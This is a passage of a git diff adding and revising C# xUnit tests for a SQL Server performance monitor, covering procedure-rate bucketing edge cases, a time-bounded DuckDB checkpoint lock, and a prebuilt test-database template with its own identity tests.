 
         Assert.False(points[1].HasRate);
         Assert.Null(points[1].Value);
 
-        Assert.Equal(10.0, points[2].Value!.Value, precision: 6);
-        Assert.Equal(2.0, points[2].ExecutionsPerSecond!.Value, precision: 6);
+        /* The rated point of the third minute sits 40 s after its unrated neighbour: 150 ms and 30 executions over 40 s (the
+           stored interval, 60, is not what a procedure point is rated over). */
+        Assert.Equal(150.0 / 40.0, points[2].Value!.Value, precision: 6);
+        Assert.Equal(30.0 / 40.0, points[2].ExecutionsPerSecond!.Value, precision: 6);
     }
 
     [Fact]
@@ -289,6 +304,119 @@ public async Task ExecutionCountTrend_MergedBucketSumsWork_UnratedAloneIsNull_Un
         Assert.Equal(2.0, points[2].Value!.Value, precision: 6);
     }
 
+    /* ---- #5449 procedure points on the run-based axis: the edge cases ------------------------------------------
+       A procedure point's seconds are its gap to the previous point (idle runs are points too), unrated past the collector's
+       3,600 s limit; the first point of a store keeps its own stored interval. The log stamps a run at t, its rows land
+       200 ms later. Every bucket here is one whole bucket of an aligned window, so a bucket's rate is its total over its seconds. */
+
+    private static DateTime BucketFloor(int minutes, DateTime from) =>
+        DateTime.SpecifyKind(new DateTime(from.Ticks - (from.Ticks % TimeSpan.FromMinutes(minutes).Ticks)), DateTimeKind.Unspecified);
+
+    private async Task<List<QueryTrendPoint>> BucketedProcedureAsync(DateTime bucketStart, int minutes) =>
+        await _dataService.GetBucketedProcedureDurationTrendAsync(ServerId, minutes / 60, bucketStart.AddMinutes(minutes), minutes);
+
+    private async Task SeedRunsAsync(params DateTime[] times)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        var conn = await SeedConnectionAsync();
+        foreach (var at in times)
+        {
+            using var cmd = conn.CreateCommand();
+            cmd.CommandText = @"INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+                VALUES ($1, $2, $3, 'procedure_stats', $4, 12, 'SUCCESS', 0)";
+            foreach (var v in new object[] { _nextId--, ServerId, ServerName, at })
+            {
+                cmd.Parameters.Add(new DuckDBParameter { Value = v });
+            }
+
+            await cmd.ExecuteNonQueryAsync();
+        }
+    }
+
+    [Fact]
+    public async Task ProcedureBucket_OneBusyRunThenTwoIdleRuns_IsOneHundredEightySeconds()
+    {
+        var h = BucketFloor(60, DateTime.UtcNow.AddHours(-3));
+        var run = h.AddMinutes(10);
+        await SeedRunsAsync(run, run.AddMinutes(1), run.AddMinutes(2));
+        await SeedProcedureAsync(run.AddMilliseconds(200), "usp_A", "AppDb", deltaExecutions: 9, deltaElapsedUs: 540_000, interval: 60);
+
+        var point = Assert.Single(await BucketedProcedureAsync(h, 60));
+
+        /* 540 ms over the busy minute and the two quiet ones (the stored-interval sum alone read 60 s and 9). */
+        Assert.Equal(540.0 / 180.0, point.Value!.Value, precision: 6);
+        Assert.Equal(9.0 / 180.0, point.ExecutionsPerSecond!.Value, precision: 6);
+        Assert.Equal(0, point.UnratedInBucket);
+    }
+
+    [Fact]
+    public async Task ProcedureBucket_TwoIdleRunsThenABusyRun_RatesOnlyTheGapsItCanMeasure()
+    {
+        var h = BucketFloor(60, DateTime.UtcNow.AddHours(-3));
+        var run = h.AddMinutes(10);
+        await SeedRunsAsync(run, run.AddMinutes(1), run.AddMinutes(2));
+        await SeedProcedureAsync(run.AddMinutes(2).AddMilliseconds(200), "usp_A", "AppDb", deltaExecutions: 9, deltaElapsedUs: 540_000, interval: 60);
+
+        var point = Assert.Single(await BucketedProcedureAsync(h, 60));
+
+        /* The first run of the store has no previous point, so its minute is unrated; the other two are 60 s each. */
+        Assert.Equal(540.0 / 120.0, point.Value!.Value, precision: 6);
+        Assert.Equal(1, point.UnratedInBucket);
+    }
+
+    [Fact]
+    public async Task ProcedureBucket_TheFirstGapReachesBeforeTheWindowStart()
+    {
+        var h = BucketFloor(60, DateTime.UtcNow.AddHours(-3));
+        await SeedProcedureAsync(h.AddSeconds(-30), "usp_A", "AppDb", deltaExecutions: 0, deltaElapsedUs: 0, interval: 20);
+        await SeedProcedureAsync(h.AddSeconds(30), "usp_A", "AppDb", deltaExecutions: 6, deltaElapsedUs: 600_000, interval: 20);
+
+        var point = Assert.Single(await BucketedProcedureAsync(h, 60));
+
+        /* The point before the window still gives the first in-window point its gap (60 s), not its stored 20 s. */
+        Assert.Equal(600.0 / 60.0, point.Value!.Value, precision: 6);
+        Assert.Equal(6.0 / 60.0, point.ExecutionsPerSecond!.Value, precision: 6);
+    }
+
+    [Fact]
+    public async Task ProcedureBucket_AGapPastTheCollectorsLimitIsUnrated_AndCounted()
+    {
+        var b = BucketFloor(180, DateTime.UtcNow.AddHours(-7));
+        await SeedProcedureAsync(b.AddMinutes(5), "usp_A", "AppDb", deltaExecutions: 6, deltaElapsedUs: 600_000, interval: 60);
+        await SeedProcedureAsync(b.AddMinutes(95), "usp_A", "AppDb", deltaExecutions: 600, deltaElapsedUs: 60_000_000, interval: 60);
+
+        var point = Assert.Single(await BucketedProcedureAsync(b, 180));
+
+        /* 5,400 s after the point before it, the second collection is past the limit: out of the work and the seconds, in the count. */
+        Assert.Equal(600.0 / 60.0, point.Value!.Value, precision: 6);
+        Assert.Equal(1, point.UnratedInBucket);
+    }
+
+    [Fact]
+    public async Task ProcedureBucket_ARestartCollectionStaysUnratedAtASixtySecondGap()
+    {
+        var h = BucketFloor(60, DateTime.UtcNow.AddHours(-3));
+        await SeedProcedureAsync(h.AddMinutes(10), "usp_A", "AppDb", deltaExecutions: 6, deltaElapsedUs: 600_000, interval: 60);
+        await SeedProcedureAsync(h.AddMinutes(11), "usp_A", "AppDb", deltaExecutions: 999, deltaElapsedUs: 99_000_000, interval: 0);
+
+        var point = Assert.Single(await BucketedProcedureAsync(h, 60));
+
+        Assert.Equal(600.0 / 60.0, point.Value!.Value, precision: 6);
+        Assert.Equal(1, point.UnratedInBucket);
+    }
+
+    [Fact]
+    public async Task ProcedureBucket_TheStoresFirstCollectionUsesItsOwnInterval()
+    {
+        var h = BucketFloor(60, DateTime.UtcNow.AddHours(-3));
+        await SeedProcedureAsync(h.AddMinutes(10), "usp_A", "AppDb", deltaExecutions: 9, deltaElapsedUs: 540_000, interval: 45);
+
+        var point = Assert.Single(await BucketedProcedureAsync(h, 60));
+
+        Assert.Equal(540.0 / 45.0, point.Value!.Value, precision: 6);
+        Assert.Equal(0, point.UnratedInBucket);
+    }
+
     /* ---- seeding ---------------------------------------------------------------------------------------- */
 
     private static DateTime MinuteFloor(DateTime value)
diff --git a/Lite.Tests/PgServerLogPathPinTests.cs b/Lite.Tests/PgServerLogPathPinTests.cs
index e8126a23fd..d5d3e3c3c3 100644
--- a/Lite.Tests/PgServerLogPathPinTests.cs
+++ b/Lite.Tests/PgServerLogPathPinTests.cs
@@ -38,6 +38,7 @@ namespace Lite.Tests;
 /// count that averages them — and the source sweep below holds the shape for a site that does not exist
 /// yet, so a third log reader cannot arrive unpinned.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class PgServerLogPathPinTests
 {
     private static readonly RecordingCollectorDeltaCalculator s_deltas = new();
diff --git a/Lite.Tests/PlanCacheStatsCollectorDefinitionTests.cs b/Lite.Tests/PlanCacheStatsCollectorDefinitionTests.cs
index 02e8ca3a04..5ec8b6ef8f 100644
--- a/Lite.Tests/PlanCacheStatsCollectorDefinitionTests.cs
+++ b/Lite.Tests/PlanCacheStatsCollectorDefinitionTests.cs
@@ -27,7 +27,7 @@ public sealed class PlanCacheStatsCollectorDefinitionTests
     private const string ExpectedQuery = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     cacheobjtype = cp.cacheobjtype,
     objtype = cp.objtype,
     total_plans = CONVERT(integer, COUNT_BIG(*)),
diff --git a/Lite.Tests/PlanRegressionDrillDownReuseTests.cs b/Lite.Tests/PlanRegressionDrillDownReuseTests.cs
index 9b069c914a..fd15cc7a0f 100644
--- a/Lite.Tests/PlanRegressionDrillDownReuseTests.cs
+++ b/Lite.Tests/PlanRegressionDrillDownReuseTests.cs
@@ -55,7 +55,7 @@ public sealed class PlanRegressionDrillDownReuseTests : IClassFixture<SharedDuck
     private const int CollectionsPerInterval = 2;
 
     private static readonly DateTime PeriodEnd =
-        DateTime.SpecifyKind(new DateTime(DateTime.UtcNow.Ticks - (DateTime.UtcNow.Ticks % TimeSpan.TicksPerSecond)), DateTimeKind.Unspecified);
+        DateTime.SpecifyKind(new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerSecond * TimeSpan.TicksPerSecond), DateTimeKind.Unspecified);
     private static readonly DateTime PeriodStart = PeriodEnd.AddHours(-4);
 
     private readonly DuckDbInitializer _duckDb;
diff --git a/Lite.Tests/PlanViewer4632FallbackTests.cs b/Lite.Tests/PlanViewer4632FallbackTests.cs
index 28bb9d97e2..6b2f909a2e 100644
--- a/Lite.Tests/PlanViewer4632FallbackTests.cs
+++ b/Lite.Tests/PlanViewer4632FallbackTests.cs
@@ -70,7 +70,7 @@ public sealed class PlanViewer4632FallbackTests
     [Fact]
     public void DashboardScope_MissingCriticalTextBrush_ConstructsCleanly_AndFallsBackToOrangeRed()
     {
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var dict = LoadThemeDictionary(DashboardLightTheme);
             Assert.False(dict.Contains("CriticalTextBrush"),
@@ -98,7 +98,7 @@ public void DashboardScope_MissingCriticalTextBrush_ConstructsCleanly_AndFallsBa
     [Fact]
     public void LiteScope_WithCriticalTextBrush_ConstructsCleanly_AndResolvesThemeHex()
     {
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var dict = LoadThemeDictionary(LiteLightTheme);
             Assert.True(dict.Contains("CriticalTextBrush"),
@@ -160,22 +160,4 @@ private static SolidColorBrush CriticalOrangeBrushOf(PlanViewerControl control)
         return (SolidColorBrush)property!.GetValue(control)!;
     }
 
-    /// <summary>WPF objects require STA; same shape as <c>MainWindowAccessKeyTests</c>/<c>ThemeColorOverrideTests</c>/<c>QueryWindowTruncationTests</c>.</summary>
-    private static void OnStaThread(Action body)
-    {
-        Exception? error = null;
-        var thread = new Thread(() =>
-        {
-            try { body(); }
-            catch (Exception ex) { error = ex; }
-        });
-        thread.SetApartmentState(ApartmentState.STA);
-        thread.Start();
-        thread.Join();
-
-        if (error is not null)
-        {
-            throw error;
-        }
-    }
 }
diff --git a/Lite.Tests/PlanViewerCapabilityPinTests.cs b/Lite.Tests/PlanViewerCapabilityPinTests.cs
index b24071f0e6..d6e5ae6dee 100644
--- a/Lite.Tests/PlanViewerCapabilityPinTests.cs
+++ b/Lite.Tests/PlanViewerCapabilityPinTests.cs
@@ -35,6 +35,7 @@ namespace Lite.Tests;
 /// Regenerate ONLY on a real surface change via <c>PM_PIN_REGEN=1</c>. Text-scans SOURCE, located from this
 /// file's compile-time path -- NO WPF / assembly load, like the other parity pins.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class PlanViewerCapabilityPinTests
 {
     /* Probe = (stable capability name, a substring that proves it is still present). Substrings, not regex,
diff --git a/Lite.Tests/PostCollectionCheckpointBudgetTests.cs b/Lite.Tests/PostCollectionCheckpointBudgetTests.cs
new file mode 100644
index 0000000000..98548f8baf
--- /dev/null
+++ b/Lite.Tests/PostCollectionCheckpointBudgetTests.cs
@@ -0,0 +1,129 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5371: the CHECKPOINT after a collection round waits for the process-wide write lock, and a waiting writer on a
+/// <see cref="ReaderWriterLockSlim"/> makes every NEW reader wait too. With no timeout, one slow read parked the
+/// CHECKPOINT, and the CHECKPOINT parked every UI read and the next collector behind it. The wait is now bounded by
+/// the write-lock budget: on a timeout this round's CHECKPOINT is skipped and the next round retries.
+///
+/// <para>In the reset-gate collection because the write lock is one per process: a test that holds a read lock for a
+/// moment should not run beside the tests that take the write lock with a timeout.</para>
+/// </summary>
+[Collection("CollectionResetGate")]
+public sealed class PostCollectionCheckpointBudgetTests : IDisposable
+{
+    private readonly string _dir = Directory.CreateTempSubdirectory("pm-lite-checkpoint-budget-tests-").FullName;
+    private DuckDbInitializer? _duckDb;
+
+    public void Dispose()
+    {
+        _duckDb?.Dispose();
+        try { Directory.Delete(_dir, recursive: true); } catch { /* best effort */ }
+    }
+
+    private async Task<RemoteCollectorService> OpenAsync()
+    {
+        _duckDb = new DuckDbInitializer(Path.Combine(_dir, "pm.duckdb"));
+        await _duckDb.InitializeFromTemplateAsync();
+        return new RemoteCollectorService(_duckDb, new ServerManager(_dir), new ScheduleManager(_dir));
+    }
+
+    /* A reader that holds the read lock until released. The lock is thread-affine, so it is taken and released on
+       one dedicated thread. */
+    private static (Thread Thread, ManualResetEventSlim Release) HoldReadLock(DuckDbInitializer duckDb)
+    {
+        var held = new ManualResetEventSlim();
+        var release = new ManualResetEventSlim();
+        var thread = new Thread(() =>
+        {
+            using var readLock = duckDb.AcquireReadLock();
+            held.Set();
+            release.Wait();
+        })
+        { IsBackground = true };
+        thread.Start();
+        Assert.True(held.Wait(TimeSpan.FromSeconds(10)), "the reader never took the read lock");
+        return (thread, release);
+    }
+
+    [Fact]
+    public async Task ASlowReader_MakesTheCheckpointGiveUpWithinTheBudget_NotWaitForTheReader()
+    {
+        var service = await OpenAsync();
+        var budget = TimeSpan.FromMilliseconds(300);
+        var (reader, release) = HoldReadLock(_duckDb!);
+        try
+        {
+            var stopwatch = System.Diagnostics.Stopwatch.StartNew();
+            /* On the pool, because the lock wait is synchronous: a method that blocks on it never returns a task to
+               time out, so a wait with no bound would hang this test instead of failing it. */
+            var ran = await Task.Run(() => service.RunPostCollectionCheckpointAsync(budget, CancellationToken.None))
+                .WaitAsync(TimeSpan.FromSeconds(20), TestContext.Current.CancellationToken);
+            stopwatch.Stop();
+
+            Assert.False(ran, "the CHECKPOINT ran under a read lock it could not have had");
+            Assert.True(stopwatch.Elapsed >= budget - TimeSpan.FromMilliseconds(50), $"gave up after {stopwatch.ElapsedMilliseconds} ms, before the budget");
+            Assert.True(stopwatch.Elapsed < budget + TimeSpan.FromSeconds(5), $"waited {stopwatch.ElapsedMilliseconds} ms for a {budget.TotalMilliseconds} ms budget");
+        }
+        finally
+        {
+            release.Set();
+            reader.Join(TimeSpan.FromSeconds(10));
+        }
+    }
+
+    [Fact]
+    public async Task AReaderStartedWhileTheCheckpointWaits_IsNotBlockedPastTheBudget()
+    {
+        var service = await OpenAsync();
+        var budget = TimeSpan.FromMilliseconds(500);
+        var (reader, release) = HoldReadLock(_duckDb!);
+        try
+        {
+            var checkpoint = Task.Run(() => service.RunPostCollectionCheckpointAsync(budget, CancellationToken.None));
+
+            /* Let the CHECKPOINT start waiting, then start a reader behind it: a waiting writer holds back new
+               readers, so without a bound this reader waits for the slow one. */
+            await Task.Delay(100, TestContext.Current.CancellationToken);
+            var started = System.Diagnostics.Stopwatch.StartNew();
+            var late = Task.Run(() =>
+            {
+                using var readLock = _duckDb!.AcquireReadLock();
+                return started.Elapsed;
+            });
+
+            var waited = await late.WaitAsync(TimeSpan.FromSeconds(20), TestContext.Current.CancellationToken);
+            Assert.True(waited < budget + TimeSpan.FromSeconds(5), $"the late reader waited {waited.TotalMilliseconds} ms behind a {budget.TotalMilliseconds} ms budget");
+            Assert.False(await checkpoint);
+        }
+        finally
+        {
+            release.Set();
+            reader.Join(TimeSpan.FromSeconds(10));
+        }
+    }
+
+    [Fact]
+    public async Task WithNothingReading_TheCheckpointRuns()
+    {
+        var service = await OpenAsync();
+
+        Assert.True(await service.RunPostCollectionCheckpointAsync(TimeSpan.FromSeconds(30), TestContext.Current.CancellationToken));
+    }
+}
diff --git a/Lite.Tests/PreinitializedDuckDb.cs b/Lite.Tests/PreinitializedDuckDb.cs
new file mode 100644
index 0000000000..9fc3f2bb33
--- /dev/null
+++ b/Lite.Tests/PreinitializedDuckDb.cs
@@ -0,0 +1,122 @@
+using System;
+using System.IO;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// A database file with the full Lite schema, built once per test process and copied to each test or test
+/// class that needs a fresh one (#5208).
+///
+/// <para><b>Why.</b> <see cref="DuckDbInitializer.InitializeAsync"/> runs ~80 DDL statements while holding the
+/// process-wide write lock (<c>DuckDbInitializer.s_dbLock</c> is static, one lock for every database file).
+/// About 190 classes build one in a class fixture and about 100 more build one per test, so a suite run
+/// queues every concurrent test's database read behind a hold of a third of a second on a fast laptop and
+/// several seconds on a hosted runner. The tests that spend that wall time do almost no work: a one-test
+/// class measured 62 s beside the others against 1.9 s alone, and every one of its per-row inserts took the
+/// read lock behind the next init. Copying a file takes no lock, and <see cref="Adopt"/> takes the write
+/// lock only to hand over a sentinel it opened before taking it.</para>
+///
+/// <para><b>What a copy is.</b> A byte copy of the file a real <c>InitializeAsync</c> built and closed,
+/// with the empty <c>archive</c> folder next to it. The archive views it carries read the live table alone (no
+/// Parquet file existed when they were built), so they hold no path and stay valid at any location. A test
+/// that adds Parquet files rebuilds the views through the code under test, as before. The schema stamps are
+/// copied too. The per-file <c>store_identity</c> row is copied with the file, then renewed by
+/// <see cref="CopyTo"/> on the private copy, so every copy has its own identity as a freshly initialized store
+/// does.</para>
+/// </summary>
+internal static class PreinitializedDuckDb
+{
+    private static readonly Lazy<string> s_templatePath = new(Build, LazyThreadSafetyMode.ExecutionAndPublication);
+
+    private static string Build()
+    {
+        var dir = Path.Combine(Path.GetTempPath(), "LiteTests_template_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(dir);
+        var path = Path.Combine(dir, "test.duckdb");
+
+        /* Closing the initializer checkpoints the file, so the copy below needs no WAL. */
+        var initializer = new DuckDbInitializer(path);
+        try { initializer.InitializeAsync().GetAwaiter().GetResult(); }
+        finally { initializer.Dispose(); }
+
+        /* The copy takes the main file only. A WAL left beside the template would hold committed work the
+           copies would silently lack. */
+        var wal = path + ".wal";
+        if (File.Exists(wal))
+        {
+            throw new InvalidOperationException(
+                $"The template database at {path} still has a WAL file after its initializer was disposed; "
+                + "a copy of the main file alone would miss it.");
+        }
+
+        AppDomain.CurrentDomain.ProcessExit += (_, _) =>
+        {
+            try { Directory.Delete(dir, recursive: true); }
+            catch { /* best-effort cleanup */ }
+        };
+        return path;
+    }
+
+    /// <summary>
+    /// Puts a copy of the initialized file at <paramref name="databasePath"/>, with its archive folder. The
+    /// path must not hold a database yet. Takes no database lock.
+    /// </summary>
+    public static void CopyTo(string databasePath)
+    {
+        var template = s_templatePath.Value;
+        var directory = Path.GetDirectoryName(databasePath);
+        if (!string.IsNullOrEmpty(directory)) Directory.CreateDirectory(directory);
+        File.Copy(template, databasePath, overwrite: false);
+        RenewStoreIdentity(databasePath);
+        Directory.CreateDirectory(Path.Combine(directory ?? ".", "archive"));
+    }
+
+    /// <summary>
+    /// Gives the copy its own <c>store_identity</c> row, as a file a real <see cref="DuckDbInitializer.InitializeAsync"/>
+    /// builds has: the template's row is copied with the file, so without this every copy would claim the same
+    /// identity and a test that compares two stores (or the interrupted-reset recovery's marker check) would see
+    /// them as one. The copy is a private file nothing else has open yet, so this needs no database lock. It used
+    /// to run inside <see cref="DuckDbInitializer.AdoptInitializedFileForTests"/>'s write lock, about 40 ms of
+    /// exclusive hold per copy (#5208). The connection closes before anything else opens the file, so the change
+    /// is checkpointed into the main file.
+    /// </summary>
+    private static void RenewStoreIdentity(string databasePath)
+    {
+        using var connection = new DuckDBConnection($"Data Source={databasePath}");
+        connection.Open();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = "UPDATE store_identity SET id = CAST(uuid() AS VARCHAR)";
+        cmd.ExecuteNonQuery();
+    }
+
+    /// <summary>
+    /// The copy of <see cref="DuckDbInitializer.InitializeAsync"/> a test uses when it wants a database with
+    /// the current schema and nothing else: copies the initialized file to the initializer's own path and
+    /// opens the initializer's sentinel on it.
+    ///
+    /// <para>It is exactly as safe to call again as <see cref="DuckDbInitializer.InitializeAsync"/> is. When
+    /// the file is already there, the store exists and may hold the test's own rows, so this calls the real
+    /// <c>InitializeAsync</c> on it (what every converted call site did before #5208): identity, migration and
+    /// sentinel behavior on a repeat call stay what they were, and the identity is not renewed. Only a path
+    /// with no file gets the copy. <see cref="CopyTo"/> still refuses an existing file, so any other caller
+    /// fails loudly (#5612: a helper that initialized once per call threw "already exists" 38 times).</para>
+    /// </summary>
+    public static async Task InitializeFromTemplateAsync(this DuckDbInitializer duckDb)
+    {
+        if (File.Exists(duckDb.DatabasePath))
+        {
+            await duckDb.InitializeAsync();
+            return;
+        }
+
+        CopyTo(duckDb.DatabasePath);
+        Adopt(duckDb);
+    }
+
+    /// <summary>Opens <paramref name="duckDb"/>'s sentinel on a file <see cref="CopyTo"/> put at its path.</summary>
+    public static void Adopt(DuckDbInitializer duckDb) => duckDb.AdoptInitializedFileForTests();
+}
diff --git a/Lite.Tests/PreinitializedDuckDbTests.cs b/Lite.Tests/PreinitializedDuckDbTests.cs
new file mode 100644
index 0000000000..1302d78530
--- /dev/null
+++ b/Lite.Tests/PreinitializedDuckDbTests.cs
@@ -0,0 +1,114 @@
+using System;
+using System.IO;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5208: a copy of the prebuilt template (<see cref="PreinitializedDuckDb"/>) stands in for a store a real
+/// <see cref="DuckDbInitializer.InitializeAsync"/> built, so it has to look like one where a test can see it.
+/// The one per-file value is the <c>store_identity</c> row: a real initialization writes a new GUID for each
+/// new store, and the copy carries the template's until the adoption step renews it.
+/// </summary>
+public sealed class PreinitializedDuckDbTests : IDisposable
+{
+    private readonly string _tempDir;
+
+    public PreinitializedDuckDbTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_tpl_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+    }
+
+    public void Dispose()
+    {
+        try
+        {
+            if (Directory.Exists(_tempDir))
+                Directory.Delete(_tempDir, recursive: true);
+        }
+        catch
+        {
+            /* Best-effort cleanup */
+        }
+    }
+
+    private static string ReadIdentity(DuckDbInitializer duckDb)
+    {
+        using var connection = new DuckDBConnection(duckDb.ConnectionString);
+        connection.Open();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = "SELECT id FROM store_identity";
+        return Assert.IsType<string>(cmd.ExecuteScalar());
+    }
+
+    [Fact]
+    public async Task TwoCopiesOfTheTemplate_EachHaveTheirOwnStoreIdentity()
+    {
+        using var first = new DuckDbInitializer(Path.Combine(_tempDir, "first", "test.duckdb"));
+        using var second = new DuckDbInitializer(Path.Combine(_tempDir, "second", "test.duckdb"));
+        using var real = new DuckDbInitializer(Path.Combine(_tempDir, "real", "test.duckdb"));
+
+        await first.InitializeFromTemplateAsync();
+        await second.InitializeFromTemplateAsync();
+        await real.InitializeAsync();
+
+        var firstId = ReadIdentity(first);
+        var secondId = ReadIdentity(second);
+        var realId = ReadIdentity(real);
+
+        Assert.True(Guid.TryParse(firstId, out _), "the renewed identity is a GUID, like a real initialization writes");
+        Assert.NotEqual(firstId, secondId);
+        Assert.NotEqual(firstId, realId);
+        Assert.NotEqual(secondId, realId);
+    }
+
+    [Fact]
+    public async Task ACopy_KeepsExactlyOneStoreIdentityRow()
+    {
+        using var copy = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+        await copy.InitializeFromTemplateAsync();
+
+        using var connection = new DuckDBConnection(copy.ConnectionString);
+        connection.Open();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = "SELECT COUNT(*) FROM store_identity";
+        Assert.Equal(1L, Convert.ToInt64(cmd.ExecuteScalar()));
+    }
+
+    /* #5208: several converted helpers (ArchiveReadLimitTests.ExecuteAsync) initialize the same store once per
+       call, and InitializeAsync is safe to repeat on an existing file. The template form has to be exactly as
+       safe: the file already there is the store, so it is not copied over and its identity is not renewed. */
+    [Fact]
+    public async Task InitializeFromTemplateAsync_CalledTwice_KeepsTheStoreAndItsIdentity()
+    {
+        using var duckDb = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+
+        await duckDb.InitializeFromTemplateAsync();
+        var identityAfterFirst = ReadIdentity(duckDb);
+
+        using (var connection = new DuckDBConnection(duckDb.ConnectionString))
+        {
+            connection.Open();
+            using var write = connection.CreateCommand();
+            write.CommandText = "CREATE TABLE second_call_probe (v INTEGER); INSERT INTO second_call_probe VALUES (7)";
+            write.ExecuteNonQuery();
+        }
+
+        await duckDb.InitializeFromTemplateAsync();
+
+        Assert.Equal(identityAfterFirst, ReadIdentity(duckDb));
+
+        using var after = new DuckDBConnection(duckDb.ConnectionString);
+        after.Open();
+        using var read = after.CreateCommand();
+        read.CommandText = "SELECT v FROM second_call_probe";
+        Assert.Equal(7, Convert.ToInt32(read.ExecuteScalar()));
+        using var insert = after.CreateCommand();
+        insert.CommandText = "INSERT INTO second_call_probe VALUES (8)";
+        Assert.Equal(1, insert.ExecuteNonQuery());
+    }
+}
diff --git a/Lite.Tests/ProcedureStatsCollectorDefinitionTests.cs b/Lite.Tests/ProcedureStatsCollectorDefinitionTests.cs
index dc72a5b425..da3907cf92 100644
--- a/Lite.Tests/ProcedureStatsCollectorDefinitionTests.cs
+++ b/Lite.Tests/ProcedureStatsCollectorDefinitionTests.cs
@@ -7,6 +7,7 @@
  */
 
 using System;
+using System.Collections.Generic;
 using System.Linq;
 using System.Text.RegularExpressions;
 using System.Threading;
@@ -157,47 +158,41 @@ public void BuildQuery_PlanCaptureOffByDefault_NoPlanClauses_LiteParity()
     }
 
     [Fact]
-    public void BuildQuery_PlanCaptureOn_Standard_SplicesWholeModuleTextPlanOnceAfterRank()
+    public void BuildQuery_PlanCaptureOn_StillNumbersOnly_AndThePlanPhaseSplicesTheWholeModuleTextPlanOnce()
     {
-        /* #1959: the render happens ONCE, OUTSIDE the ranked derived table, against at most 150
-           survivors - not once per branch below the TOP, which rendered module-grain plans for every
-           candidate the TOP then discarded (the field-measured 25-second overnight tails). The handle
-           round-trips from the varchar(130) the payload already carries, so no raw column threads
-           through the branches. Whole-module grain stays keyed on literal 0, -1. */
-        var plan = ProcedureStatsCollector.Instance.BuildQuery(CollectorTestContext.Make(s_deltas, capturePlanXml: true));
-        var collapsed = Collapse(plan.Text);
+        /* #5449: the main query is numbers only on every host, capture on or off: it carries no plan clause and no
+           derived table. #1959's one-render rule now lives in the plan phase: the apply runs ONCE, over a VALUES list
+           of at most MaxPlansPerRun handles aliased ranked, so the render never happens per candidate. The handle
+           round-trips from the varchar(130) the payload carries; whole-module grain stays keyed on literal 0, -1. */
+        var context = CollectorTestContext.Make(s_deltas, capturePlanXml: true);
+        var main = Collapse(ProcedureStatsCollector.Instance.BuildQuery(context).Text);
+        Assert.DoesNotContain("query_plan", main, StringComparison.Ordinal);
+        Assert.DoesNotContain("dm_exec_text_query_plan", main, StringComparison.Ordinal);
+        Assert.DoesNotContain("ASranked", main, StringComparison.Ordinal);
+        Assert.Contains("sys.dm_exec_trigger_stats", main, StringComparison.Ordinal);
+        Assert.Contains("sys.dm_exec_function_stats", main, StringComparison.Ordinal);
+
+        var collapsed = Collapse(ProcedureStatsCollector.BuildPlanPhaseQuery(context, new[] { new byte[] { 0x06, 0x00 } }).Text);
 
         Assert.Single(Regex.Matches(collapsed, Regex.Escape(PlanXmlSizeGuardedFragment)));
         Assert.Single(Regex.Matches(collapsed, Regex.Escape("sys.dm_exec_text_query_plan(CONVERT(varbinary(64),ranked.plan_handle,1),0,-1)AStqp")));
         Assert.DoesNotContain("dm_exec_text_query_plan(s.plan_handle", collapsed, StringComparison.Ordinal);
-
-        /* The apply must sit AFTER the ranked derived table closes - rendering below the TOP is the
-           exact defect this shape exists to prevent. */
         Assert.True(
             collapsed.IndexOf("dm_exec_text_query_plan", StringComparison.Ordinal)
-                > collapsed.IndexOf(")ASranked", StringComparison.Ordinal),
-            "the plan render moved back inside the ranked derived table - below the TOP");
-
-        /* Existing shape untouched: still three DMV branches and the dynamic-SQL body. */
-        Assert.Contains("sys.dm_exec_trigger_stats", plan.Text, StringComparison.Ordinal);
-        Assert.Contains("sys.dm_exec_function_stats", plan.Text, StringComparison.Ordinal);
+                > collapsed.IndexOf(")ASranked(ord,plan_handle)", StringComparison.Ordinal),
+            "the plan render moved off the VALUES list");
     }
 
     [Fact]
-    public void BuildQuery_PlanCaptureOn_Azure_SplicesWholeModuleTextPlan()
+    public void BuildQuery_Azure_PlanCaptureOn_IsTheSameNumbersOnlyText()
     {
-        var plan = ProcedureStatsCollector.Instance.BuildQuery(CollectorTestContext.Make(s_deltas, isAzureSqlDb: true, capturePlanXml: true));
-        var collapsed = Collapse(plan.Text);
+        var capture = ProcedureStatsCollector.Instance.BuildQuery(CollectorTestContext.Make(s_deltas, isAzureSqlDb: true, capturePlanXml: true));
+        var off = ProcedureStatsCollector.Instance.BuildQuery(CollectorTestContext.Make(s_deltas, isAzureSqlDb: true));
 
-        Assert.Contains(PlanXmlSizeGuardedFragment, collapsed, StringComparison.Ordinal);
-        Assert.Contains("sys.dm_exec_text_query_plan(CONVERT(varbinary(64),ranked.plan_handle,1),0,-1)AStqp", collapsed, StringComparison.Ordinal);
-        Assert.True(
